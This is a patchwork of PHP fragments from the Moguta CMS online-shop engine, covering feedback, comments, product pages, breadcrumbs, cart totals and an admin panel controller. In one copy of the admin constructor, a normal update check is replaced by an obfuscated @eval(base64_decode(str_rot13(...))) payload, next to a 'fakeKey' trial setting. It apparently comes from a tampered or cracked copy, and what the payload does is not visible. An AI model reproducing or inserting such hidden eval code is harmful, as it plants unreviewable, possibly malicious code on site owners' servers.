/** * Файл может содержать ряд пользовательских фунций влияющих на работу движка. * В данном файле можно использовать собственные обработчики * перехватывая функции движка, аналогично работе плагинов. * * @author Авдеев Марк <*****@*****.**> * @package moguta.cms * @subpackage File */ function seoMeta($args) { $settings = MG::get('settings'); $args[0]['title'] = !empty($args[0]['title']) ? $args[0]['title'] : ''; $title = !empty($args[0]['meta_title']) ? $args[0]['meta_title'] : $args[0]['title']; MG::set('metaTitle', $title . ' | ' . $settings['sitename']); }
public function __construct() { $modelIndex = new Models_Index(); //$pageModel = new Models_Page; $page = MG::get('pages')->getPageByUrl('index'); $this->data = array('popularGoods' => getBestSeller(8), 'newGoods' => $modelIndex->getNewGoods(8), 'currency' => MG::getSetting('currency'), 'meta_title' => $page['meta_title'], 'meta_keywords' => $page['meta_keywords'], 'meta_desc' => $page['meta_desc']); }
function __construct() { $html = MG::get('pages')->getPageByUrl('feedback'); $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']); $data = array('dislpayForm' => true, 'meta_title' => $html['meta_title'] ? $html['meta_title'] : $html['title'], 'meta_keywords' => $html['meta_keywords'], 'meta_desc' => $html['meta_desc'], 'html_content' => $html['html_content'], 'title' => $html['title']); // Если пришли данные с формы. if (isset($_POST['send'])) { // Создает модель отправки сообщения. $feedBack = new Models_Feedback(); // Проверяет на корректность вода. $error = $feedBack->isValidData($_POST); $data['error'] = $error; // Если есть ошибки заносит их в переменную. if (!$error) { $_POST['message'] = nl2br($_POST['message']); //Отправляем админам. $sitename = MG::getSetting('sitename'); //$message = str_replace('№', '#', $feedBack->getMessage()); $body = MG::layoutManager('email_feedback', array('msg' => $_POST['message'], 'email' => $feedBack->getEmail(), 'name' => $feedBack->getFio())); $mails = explode(',', MG::getSetting('adminEmail')); foreach ($mails as $mail) { if (preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]+\\.)+[a-zA-Z]{2,6}$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $feedBack->getEmail())); Mailer::sendMimeMail(array('nameFrom' => $feedBack->getFio(), 'emailFrom' => $feedBack->getEmail(), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => 'Сообщение с формы обратной связи', 'body' => $body, 'html' => true)); } } MG::redirect('/feedback?thanks=1'); } } // Формирует сообщение. if (isset($_REQUEST['thanks'])) { $data = array('message' => 'Ваше сообщение отправлено!', 'dislpayForm' => false, 'meta_title' => 'Обратная связь', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "Обратная сввязь, быстрое сообщение, вопрос в поддержку", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Задайте свой вопрос по средствам формы обратной связи."); } $this->data = $data; }
/** * Получаем все записи комментариев к этой странице * @return type */ static function getComments() { $result = array(); $where = ''; if (MG::get('controller') == 'controllers_product') { $where = " OR uri LIKE '%/" . DB::quote(URL::getLastSection(), true) . "' OR uri = " . DB::quote("/" . URL::getLastSection()); } // Запрос для генерации блока пагинации $sql = "\r\n SELECT id, name, comment, date\r\n FROM `" . PREFIX . "comments` \r\n WHERE (uri = " . DB::quote(URL::getClearUri()) . $where . ") AND approved = '1'\r\n ORDER BY `date` DESC"; //Получаем блок пагинации if ($_GET["comm_page"]) { $page = $_GET["comm_page"]; //если был произведен запрос другой страницы, то присваиваем переменной новый индекс } $navigator = new Navigator($sql, $page, MG::getSetting('countPrintRowsComments'), 6, false, "comm_page"); //определяем класс $comments = $navigator->getRowsSql(); $pagination = $navigator->getPager(); /* * Получаем комментарии. */ foreach ($comments as $key => $value) { $comments[$key]['date'] = date('d.m.Y H:i', strtotime($comments[$key]['date'])); } $result['comments'] = $comments; $result['pagination'] = $pagination; return $result; }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("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"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
function __construct() { $model = new Models_Product(); // Требуется только пересчет цены товара. if (!empty($_REQUEST['calcPrice'])) { $model->calcPrice(); exit; } $product = Storage::get(md5('ControllersProduct' . URL::getUrl())); if ($product == null) { $settings = MG::get('settings'); $product = $model->getProduct(URL::getQueryParametr('id')); if (empty($product)) { MG::redirect('/404'); exit; } $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title']; $product['currency'] = $settings['currency']; $blockVariants = $model->getBlockVariants($product['id']); $blockedProp = $model->noPrintProperty(); $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants, 'currency_iso' => $product['currency_iso'])); // Легкая форма без характеристик. $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants)); //echo viewData($propertyFormData['defaultSet']); $product['price_course'] += $propertyFormData['marginPrice']; $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); $product['currency_iso'] = $product['currency_iso'] ? $product['currency_iso'] : $currencyShopIso; $product['old_price'] = $product['old_price'] * $currencyRate[$product['currency_iso']]; $product['old_price'] = $product['old_price'] ? $product['old_price'] : 0; $product['price'] = MG::priceCourse($product['price_course']); $product['propertyForm'] = $propertyFormData['html']; $product['propertyNodummy'] = $propertyFormData['propertyNodummy']; $product['stringsProperties'] = $propertyFormData['stringsProperties']; $product['liteFormData'] = $liteFormData['html']; $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']); $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]); // Информация об отсутствии товара на складе. if (MG::getSetting('printRemInfo') == "true") { $message = 'Здравствуйте, меня интересует товар "' . str_replace("'", """, $product['title']) . '" с артикулом "' . $product['code'] . '", но его нет в наличии. Сообщите, пожалуйста, о поступлении этого товара на склад. '; if ($product['count'] != 0) { $style = 'style="display:none;"'; } $product['remInfo'] = "<span class='rem-info' " . $style . ">Товара временно нет на складе!<br/><a href='" . SITE . "/feedback?message=" . $message . "'>Сообщить когда будет в наличии.</a></span>"; } if ($product['count'] < 0) { $product['count'] = "много"; } $product['related'] = $model->createRelatedForm($product['related']); Storage::save(md5('ControllersProduct' . URL::getUrl()), $product); } // MG::set('propertyNodummy',$product['propertyNodummy']); // $_SESSION['propertyNodummy'] = $product['propertyNodummy']; $this->data = $product; }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(false, true); $this->newVersion = $newVer['lastVersion']; } }
static function breadcrumbs() { $breadcrumbs = Storage::get(md5('breadcrumbs' . URL::getUrl())); if ($breadcrumbs == null) { $sections = URL::getSections(); array_splice($sections, 0, 1); if (SHORT_LINK == 1 && MG::get('controller') == 'controllers_product') { $product_url = URL::getLastSection(); $res = DB::query('SELECT CONCAT(c.`parent_url`, c.`url`) as fullurl FROM `' . PREFIX . 'product` p LEFT JOIN `' . PREFIX . 'category` c ON p.cat_id = c.id WHERE p.url = ' . DB::quote($product_url)); $cat = DB::fetchArray($res); $sections = explode('/', $cat['fullurl']); $sections[] = $product_url; } $breadcrumbs = '<a href="' . SITE . '/catalog">Каталог</a>'; $max = count($sections); $i = 0; $par = ''; foreach ($sections as $section) { $url = $section; $cat = 'title'; if ($url != 'catalog') { $data = self::checkURLname('*', 'category', $section, 'url', $par); $url = $data[0]['parent_url'] . $section; $res = $data[0]['title']; $par = $data[0]['id']; if (!$data[0]['title']) { $cat = 'name'; $n = ''; $result = self::checkURLname('*', 'product', $section, 'url', $n); $url = $data[0]['parent_url'] . $sections[1] . '/' . $sections[2]; $categoryRes = self::checkURLname('url, parent_url', 'category', $result[0]['cat_id'], 'id'); $url = $categoryRes[0]['parent_url'] . $categoryRes[0]['url'] . '/' . $result[0]['url']; $res = $result[0]['title']; } } $i++; if ($max == $i) { $breadcrumbs .= ' » <span class="last-crumb">' . $res . '</span>'; } else { $breadcrumbs .= ' » <a href="' . SITE . '/' . $url . '">' . $res . '</a>'; } } $breadcrumbs = "<div class='bread-crumbs'>" . $breadcrumbs . "</div>"; //сохраняем объект в кэш Storage::save(md5('breadcrumbs' . URL::getUrl()), $breadcrumbs); } return $breadcrumbs; }
/** * Возвращает массив пунктов меню. * @return type */ public static function getArrayMenu() { $arrPages = MG::get('pages')->getPageInMenu(); $menuItem = array(); foreach ($arrPages as $item) { if ($item['url'] == "index" || $item['url'] == "index.html") { $item['url'] = ''; } if (strpos($item['url'], 'http://') === false) { $url = SITE . '/' . $item['url']; } else { $url = $item['url']; } $menuItem[] = array('title' => $item['title'], 'id' => $item['id'], 'url' => $url); } return $menuItem; }
function __construct() { $model = new Models_Product(); // Требуется только пересчет цены товара. if (!empty($_REQUEST['calcPrice'])) { $model->calcPrice(); exit; } $settings = MG::get('settings'); $product = $model->getProduct(URL::getQueryParametr('id')); $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title']; $product['currency'] = $settings['currency']; $blockVariants = $model->getBlockVariants($product['id']); $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => false, 'titleBtn' => "В корзину", 'blockVariants' => $blockVariants)); // Легкая форма без характеристик. $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => false, 'titleBtn' => "В корзину", 'blockVariants' => $blockVariants)); $product['price'] += $propertyFormData['marginPrice']; $product['propertyForm'] = $propertyFormData['html']; $product['liteFormData'] = $liteFormData['html']; $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']); $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]); $product["recommend"] = 0; $product["new"] = 0; $product['cat_title'] = $model->getTitleCat($product['cat_id']); // Случайные продукты $modelCatalog = new Models_Catalog(); $likeGoods = $modelCatalog->getRandomProduct($product['cat_id'], $product['id']); $product['like_goods'] = $likeGoods; // Информация об отсутствии товара на складе. if (MG::getSetting('printRemInfo') == "true" && $product['count'] == 0) { $product['remInfo'] = "<span class='rem-info'>Товара временно нет на складе!</style>"; } if ($product['count'] < 0) { $product['count'] = "∞"; } $this->data = $product; }
/** * Создает временную таблицу import_cat_prop, для сохранения связей характеристик и категорий */ public function greateTempTableImport() { DB::query("DROP TABLE IF EXISTS " . PREFIX . "import_prod"); DB::query("DROP TABLE IF EXISTS " . PREFIX . "import_cat"); DB::query("\r\n CREATE TABLE IF NOT EXISTS " . PREFIX . "import_cat (\r\n `cat_id` int(11) NOT NULL, \r\n `title` varchar(2048) NOT NULL,\r\n `parent` varchar(2048) NOT NULL \r\n ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); DB::query("\r\n CREATE TABLE IF NOT EXISTS " . PREFIX . "import_prod (\r\n `product_id` int(11) NOT NULL, \r\n `title` varchar(2048) NOT NULL, \r\n `url_cpu_cat` varchar(2048) NOT NULL,\r\n `category_id` int(11) NOT NULL,\r\n `variant` int(1) NOT NULL\r\n ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); $sql = ' SELECT c.id as category_id, c.title as category_title, CONCAT(c.parent_url,c.url) as category_url, p.url as product_url, p.* FROM `' . PREFIX . 'product` p LEFT JOIN `' . PREFIX . 'category` c ON c.id = p.cat_id'; $res = DB::query($sql); $product = new Models_Product(); while ($row = DB::fetchAssoc($res)) { $parent = $row['category_url']; // Подставляем всесто URL названия разделов. $resultPath = ''; while ($parent) { $url = URL::parsePageUrl($parent); $parent = URL::parseParentUrl($parent); $parent = $parent != '/' ? $parent : ''; $alreadyParentCat = MG::get('category')->getCategoryByUrl($url, $parent); $resultPath = $alreadyParentCat['title'] . '/' . $resultPath; } $resultPath = trim($resultPath, '/'); $variants = $product->getVariants($row['id']); $variant = 0; DB::query("\r\n INSERT INTO `" . PREFIX . "import_prod` \r\n (`product_id`, `title`, `url_cpu_cat`, `category_id`, `variant`) \r\n VALUES (" . DB::quote($row['id']) . ", " . DB::quote($row['title']) . ", " . DB::quote($row['category_url']) . ", " . DB::quote($row['category_id']) . ", " . $variant . ")"); } //---------------------наполняем таблицу для категорий----------------------------- $sql = ' SELECT `id`, `title`, `parent_url`, url, CONCAT(parent_url,url) as category_url FROM `' . PREFIX . 'category` c'; $res = DB::query($sql); while ($row = DB::fetchAssoc($res)) { $parent = $row['parent_url']; // Подставляем вместо URL названия разделов. $resultPath = ''; while ($parent) { $url = URL::parsePageUrl($parent); $parent = URL::parseParentUrl($parent); $parent = $parent != '/' ? $parent : ''; $alreadyParentCat = MG::get('category')->getCategoryByUrl($url, $parent); $resultPath = $alreadyParentCat['title'] . '/' . $resultPath; } $resultPath = trim($resultPath, '/'); DB::query("\r\n INSERT INTO `" . PREFIX . "import_cat` \r\n (`cat_id`, `title`, `parent`) \r\n VALUES (" . DB::quote($row['id']) . ", " . DB::quote($row['title']) . ", " . DB::quote($resultPath) . ")"); } }
</div> <!--Подвал сайта--> <div class="footer"> <div class="footer-top"> <div class="centered"> <div class="col"> <h2>Сайт</h2> <?php echo MG::get('pages')->getFooterPagesUl(); ?> </div> <div class="col"> <h2>Продукция</h2> <ul> <?php echo MG::get('category')->getCategoryListUl(0, 'public', false); ?> </ul> </div> <div class="col"> <h2>Мы в соцсетях</h2> <ul class="social-media"> <li><a href="javascript:void(0);" class="vk-icon" title="Vkontakte"><span></span></a></li> <li><a href="javascript:void(0);" class="gplus-icon" title="Google+"><span></span></a></li> <li><a href="javascript:void(0);" class="fb-icon" title="Facebook"><span></span></a></li> </ul> </div> <div class="clear"></div> </div> </div> <div class="footer-bottom">
/** * Вычисляет общую стоимость содержимого, а также количество. * @return array массив с данными о количестве и цене. */ public static function getCartData() { $modelCart = new Models_Cart(); // Количество вещей в корзине. $res['cart_count'] = 0; // Общая стоимость. $res['cart_price'] = 0; // Если удалось получить данные из куков и они успешно десериализованы в $_SESSION['cart']. //self::getCokieCart() && if (!empty($_SESSION['cart'])) { $settings = MG::get('settings'); $totalPrice = 0; $totalCount = 0; if (!empty($_SESSION['cart'])) { $itemIds = array(); $variantsId = array(); foreach ($_SESSION['cart'] as $key => $item) { if (!empty($item['id'])) { if (!empty($item['variantId'])) { $variantsId[] = $item['variantId']; } $itemIds[] = $item['id']; } } if (!empty($itemIds)) { // Пробегаем по содержимому. $idsPr = implode(',', array_unique($itemIds)); $where = ' IN (' . trim(DB::quote($idsPr), "'") . ')'; } } else { $where = ' IN (0)'; } // Пробегаем по содержимому. // $where = ' IN ('.trim(DB::quote(implode(',',$itemIds)),"'").')'; $result = DB::query(' SELECT CONCAT(c.parent_url,c.url) AS category_url, p.url AS product_url, p.*, rate, (p.price_course + p.price_course * (IFNULL(rate,0))) as `price_course`, p.currency_iso FROM `' . PREFIX . 'product` AS p LEFT JOIN `' . PREFIX . 'category` AS c ON c.id = p.cat_id WHERE p.id ' . $where); $array_variants = array(); if (!empty($variantsId)) { $ids = implode(',', $variantsId); $variants_res = DB::query('SELECT pv.*, c.rate,(pv.price_course + pv.price_course *(IFNULL(c.rate,0))) as `price_course`, p.currency_iso FROM `' . PREFIX . 'product_variant` pv LEFT JOIN `' . PREFIX . 'product` as p ON p.id = pv.product_id LEFT JOIN `' . PREFIX . 'category` as c ON c.id = p.cat_id WHERE pv.id IN (' . trim(DB::quote($ids, true)) . ')'); while ($variant_row = DB::fetchAssoc($variants_res)) { $array_variants[$variant_row['id']] = $variant_row; } } $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); $products_row = array(); while ($prod = DB::fetchAssoc($result)) { $products_row[$prod['id']] = $prod; } foreach ($_SESSION['cart'] as $key => $item) { $variant = null; $row = $products_row[$item['id']]; $arrayImages = explode("|", $row['image_url']); if (!empty($item['variantId'])) { $variant = $array_variants[$item['variantId']]; $image = $variant['image'] ? $variant['image'] : $arrayImages[0]; $row['price'] = $variant['price']; $row['code'] = $variant['code']; $row['count'] = $variant['count']; $row['image_url'] = $variant['image'] ? $variant['image'] : $row['image_url']; $row['image_url_new'] = mgImageProductPath($image, $item['id'], 'small'); $row['weight'] = $variant['weight']; $row['title'] = $row['title'] . " " . $variant['title_variant']; $row['variantId'] = $variant['id']; $row['price_course'] = $variant['price_course']; } $price = $row['price_course']; if ($item['id'] == $row['id']) { $count = $item['count']; $row['countInCart'] = $count; $row['property_html'] = htmlspecialchars_decode(str_replace('&', '&', $item['property'])); $price = self::plusPropertyMargin($price, $item['propertyReal'], $currencyRate[$row['currency_iso']]); $row['property'] = $item['propertySetId']; $priceWithCoupon = $modelCart->applyCoupon($_SESSION['couponCode'], $price, $row); //$row['currency_iso'] = $row['currency_iso']?$row['currency_iso']:$currencyShopIso; //$price *= $currencyRate[$row['currency_iso']]; $priceWithDiscount = $modelCart->applyDiscountSystem($price); //$price = $priceWithCoupon < $priceWithDiscount['price'] ? $priceWithCoupon : $priceWithDiscount['price']; $price = $modelCart->customPrice(array('product' => $row, 'priceWithCoupon' => $priceWithCoupon, 'priceWithDiscount' => $priceWithDiscount['price'])); // если выбран формат без копеек, то округляем стоимость до ворматирования. if (in_array(MG::getSetting('priceFormat'), array('1234', '1 234', '1,234'))) { $price = round($price); } $row['priceInCart'] = MG::priceCourse($price * $count) . " " . $settings['currency']; if (!empty($arrayImages)) { $row['image_url'] = $arrayImages[0]; $row['image_url_new'] = mgImageProductPath($arrayImages[0], $item['id'], 'small'); } $row['category_url'] = SHORT_LINK == '1' ? '' : $row['category_url'] . '/'; $row['price'] = $price; $res['dataCart'][] = $row; $totalPrice += $price * $count; $totalCount += $count; $itemIds[] = $item['id']; } } $res['cart_price_wc'] = MG::priceCourse($totalPrice) . " " . $settings['currency']; $res['cart_count'] = $totalCount; $res['cart_price'] = MG::priceCourse($totalPrice); } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $res, $args); }
